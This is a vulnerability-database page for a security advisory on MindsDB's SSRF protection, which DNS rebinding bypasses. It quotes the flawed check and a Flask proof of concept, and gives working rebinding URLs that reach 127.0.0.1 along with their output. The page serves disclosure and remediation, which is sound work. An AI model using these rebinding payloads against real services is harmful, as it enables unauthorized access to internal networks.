GHSA-4jcv-vp96-94xr
Vulnerability from github
Published
2024-09-05 16:37
Modified
2024-11-18 16:27
VLAI Severity ?
High (confidence: 0.4674)
Summary
MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding
Details

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

```python def is_private_url(url: str): """ Raises exception if url is private

:param url: url to check
"""

hostname = urlparse(url).hostname
if not hostname:
    # Unable to find hostname in url
    return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private

```

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

```python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests

app = Flask(name)

def is_private_url(url: str): """ Raises exception if url is private

:param url: url to check
"""

hostname = urlparse(url).hostname
if not hostname:
    # Unable to find hostname in url
    return True
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
    raise Exception(f"Private IP address found for {url}")

@app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"

@app.route("/check_private_url", methods=["GET"]) def check_private_url(): url = request.args.get("url")

if not url:
    return jsonify({"error": 'Missing "url" parameter'}), 400

try:
    is_private_url(url)
    response = requests.get(url)

    return jsonify(
        {
            "url": url,
            "is_private": False,
            "text": response.text,
            "status_code": response.status_code,
        }
    )
except Exception as e:
    return jsonify({"url": url, "is_private": True, "error": str(e)})

if name == "main": app.run(debug=True)

```

After running the poc.py with flask installed, consider visiting the following URLs:

  1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
  2. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
  3. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

``` { "is_private": false, "status_code": 200, "text": "

\npoc.py\n
\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" }

```

Impact

  • Bypass the SSRF protection on the whole website with DNS Rebinding.
  • DoS too.
Show details on source website


{
   affected: [
      {
         package: {
            ecosystem: "PyPI",
            name: "mindsdb",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "0",
                  },
                  {
                     fixed: "23.12.4.2",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
   ],
   aliases: [
      "CVE-2024-24759",
   ],
   database_specific: {
      cwe_ids: [
         "CWE-350",
         "CWE-918",
      ],
      github_reviewed: true,
      github_reviewed_at: "2024-09-05T16:37:56Z",
      nvd_published_at: "2024-09-05T17:15:12Z",
      severity: "HIGH",
   },
   details: "### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms`  would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    if ipaddress.ip_address(ip).is_private:\n        raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n    return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n    url = request.args.get(\"url\")\n\n    if not url:\n        return jsonify({\"error\": 'Missing \"url\" parameter'}), 400\n\n    try:\n        is_private_url(url)\n        response = requests.get(url)\n\n        return jsonify(\n            {\n                \"url\": url,\n                \"is_private\": False,\n                \"text\": response.text,\n                \"status_code\": response.status_code,\n            }\n        )\n    except Exception as e:\n        return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n  \"is_private\": false,\n  \"status_code\": 200,\n  \"text\": \"<pre>\\n<a href=\\\"poc.py\\\">poc.py</a>\\n</pre>\\n\",\n  \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n",
   id: "GHSA-4jcv-vp96-94xr",
   modified: "2024-11-18T16:27:10Z",
   published: "2024-09-05T16:37:56Z",
   references: [
      {
         type: "WEB",
         url: "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr",
      },
      {
         type: "ADVISORY",
         url: "https://nvd.nist.gov/vuln/detail/CVE-2024-24759",
      },
      {
         type: "WEB",
         url: "https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b",
      },
      {
         type: "PACKAGE",
         url: "https://github.com/mindsdb/mindsdb",
      },
   ],
   schema_version: "1.4.0",
   severity: [
      {
         score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
         type: "CVSS_V3",
      },
      {
         score: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L",
         type: "CVSS_V4",
      },
   ],
   summary: "MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding",
}


Log in or create an account to share your comment.

Security Advisory comment format.

This schema specifies the format of a comment related to a security advisory.

UUIDv4 of the comment
UUIDv4 of the Vulnerability-Lookup instance
When the comment was created originally
When the comment was last updated
Title of the comment
Description of the comment
The identifier of the vulnerability (CVE ID, GHSA-ID, PYSEC ID, etc.).



Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…